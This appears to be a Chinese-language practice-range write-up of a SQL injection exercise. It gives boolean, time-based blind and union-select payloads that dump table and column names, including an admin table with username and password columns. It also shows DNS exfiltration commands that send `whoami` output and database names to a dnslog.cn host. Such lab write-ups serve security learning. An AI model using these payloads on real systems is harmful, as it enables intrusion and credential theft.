靶場篇#
點開頁面很明顯可以發現一個注入點
通過對其進行測試拼接 and 1=1 發現頁面可以正常顯示,並且當 and 1=2 時發現頁面異常
判斷可能是數字型
數字型可以不需要引號閉合,字符型構造的時候需要注意進行引號的閉合
order by 3 頁面報錯可以得出當前數據庫存在兩列,同時發現數據庫無回顯
and if(exists(select * from information_schema.tables limit 1),sleep(10),1)--
通過使用 if 判斷加上 exists 函數來查詢是否存在 information_schema.tables 這個表
如果存在會延遲 10 秒
如果不存在會返回數值 1,這個 1 在 if 判斷中代表為真,不會影響結果
簡單來說就是如果存在 information_schema.tables 這個表那麼就會延遲 10 秒,不存在頁面會正常執行不會延遲
在執行 linux 系統中執行 ping whoami
.i0f4xk.dnslog.cn 因為 whoami 被反引號包裹,所以會先執行
whoami 命令,同理 ping $(whoami).i0f4xk.dnslog.cn 和上述代碼作用相同
但是如果直接在 dns 前添加 whoami 則並並不會輸出命令
同理在 windos 中,使用 ping % username%..i0f4xk.dnslog.cn 也可以執行命令 g
本人對 dns 泛解析原理還處於似懂非懂,希望有大佬可以詳解 dns 外帶原理。
?id=1 union select 1,load_file(concat("\\",(select database()),".eoumbx.dnslog.cn\abc")) --+
頁面正常但是 dnslog 外帶失敗
發現 dnslog 無法進行外帶,這時候陷入僵突然發現在?id=1 and 1=2 union select 1,2 中竟然有回顯頓時豁然開朗 (星際玩家表示很難發現。。。。)
那麼直接就?id=1 and 1=2 union select 1,database () 查詢到當前表名為 maoshe
?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()
information_schema
是一種特殊的數據庫,它在 SQL 標準中定義,用於存儲數據庫的元數據,包括數據庫、表、列、約束、權限等的信息。
table_schema 為 information_schema.tables 中查詢數據庫表名函數
columns_name 為 information_schema.columns 中查詢數據庫列名的函數
?id=1 and 1=2 union select 5,column_name from information_schema.columns where table_schema =database () and table_name ="admin" limit 0,1 通過參數偏移查詢到 admin 表單中有 id,username 和 password 列
通過查詢 information_schema.columns 中的 column_name 列可以反饋 admin 表的列名
當查詢表單的名稱與當前表單名稱相同時,使用 and 進行並操作,table_name= "admin" 也就是上一步查詢的 admin 才顯示
limit 參數用來進行對結果進行偏移,因為回顯只有一個,需要通過 limit x,y 進行調節
從第 x 個開始輸出 y 個
知道了表名和列名輸出數據就十分容易了
通過網上信息搜索發現可以利用 group_concat()函數進行數據的大量輸出
例如,?id=1 and 1=2 union select 5,group_concat (table_name) from information_schema.tables 可以輸出 table_name 的所有數據
?id=1 and 1=2 union select 5,group_concat(column_name) from information_schema.columns where table_name ='xss'
接下來簡單說一下 sql 注入思路吧
1. 需要找到注入點
2. 進行判斷,判斷是字符型還是數字型,字符型需要進行適當的引號閉合,數字型不需要
3. 通過 orde by 對字段數進行判斷(方便後續對回顯點利用)
4. 通過聯合報錯查詢對回顯點進行判斷(如果無回顯就只能進行盲注了)
5. 通過 information_schema.tables 的 table_name 查詢表名(可以利用 limit 進行單個查詢也可以使用 group_concat 查詢)
6. 通過 information_schema.columns 的 cloumn_name 查詢列名